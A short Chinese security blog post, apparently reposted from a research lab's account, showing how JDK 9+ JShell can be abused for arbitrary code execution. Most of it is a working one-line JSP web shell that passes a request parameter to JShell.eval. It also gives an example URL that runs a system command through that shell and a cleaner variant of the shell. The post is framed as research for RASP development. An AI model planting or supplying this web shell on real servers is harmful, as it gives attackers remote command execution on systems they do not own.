vlambda博客
学习文章列表

JShell(JDK9+)eval任意Java代码片段执行


漏洞、技术还是其他,我都想第一时间和你分享

写在之前:

最近几年开发RASP产品期间整理了很多的Java语言的特性~


JDK9开始提供一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今2年多了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。


测试代码:

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>


就这么简单的一行代码就可以了,src参数值是java代码片段。


JShell(JDK9+)eval任意Java代码片段执行


测试用例:

http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()


如果强迫症想撸掉多余的输出:

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>


凌天
实验室

凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。